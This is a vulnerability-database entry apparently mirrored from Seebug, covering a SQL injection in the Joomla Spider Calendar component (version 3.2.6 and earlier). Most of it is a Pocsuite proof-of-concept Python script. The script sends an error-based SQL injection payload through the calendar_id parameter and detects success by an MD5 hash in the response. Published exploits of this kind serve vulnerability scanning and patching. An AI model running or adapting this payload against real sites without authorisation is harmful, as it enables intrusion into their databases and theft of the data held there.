Lucene search
K

Joomla Spider Calendar <= 3.2.6 - SQL Injection

🗓️ 18 Sep 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

Joomla Spider Calendar <= 3.2.6 - SQL Injection in index.php, calendar_id para

Code

                                                #!/usr/bin/env python
# -*- coding:utf-8 -*-



from pocsuite.net import req

from pocsuite.poc import Output, POCBase

from pocsuite.utils import register



class TestPOC(POCBase):

    vulID = '87242'

    version = '1'

    vulDate = '2014-08-31'

    author = 'anonymous'

    createDate = '2015-09-30'

    updateDate = '2015-09-30'

    references = ['http://www.sebug.net/vuldb/ssvid-87242']

    name = 'Joomla Spider Calendar SQL Injection'

    appPowerLink = 'http://extensions.joomla.org/extensions/calendars-a-events/events/events-calendars/22329'

    appName = 'Joomla Spider Calendar Component'

    appVersion = '<= 3.2.6'

    vulType = 'SQL Injection'

    desc = 'Joomla Spider Calendar Component SQL Injection in index.php, calendar_id param'

    samples = ['']



    def _attack(self):

        return self._verify()



    def _verify(self, verify=True):

        result = {}

	payload = '||exp(~(select*from(select md5(456546))a))'

        vul_url = '%s/index.php?option=com_spidercalendar&view=spidercalendar&calendar_id=1' % self.url

        response = req.get(vul_url + payload).content



        if 'e02f052b7d3db73f99d4f5801f2b6fff' in response:

            result['VerifyInfo'] = {}

            result['VerifyInfo']['URL'] = self.url



        return self.parse_attack(result)



    def parse_attack(self, result):

        output = Output(self)



        if result:

            output.success(result)

        else:

            output.fail('failed')



        return output

register(TestPOC)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Sep 2014 00:00Current
7.1High risk
Vulners AI Score7.1
21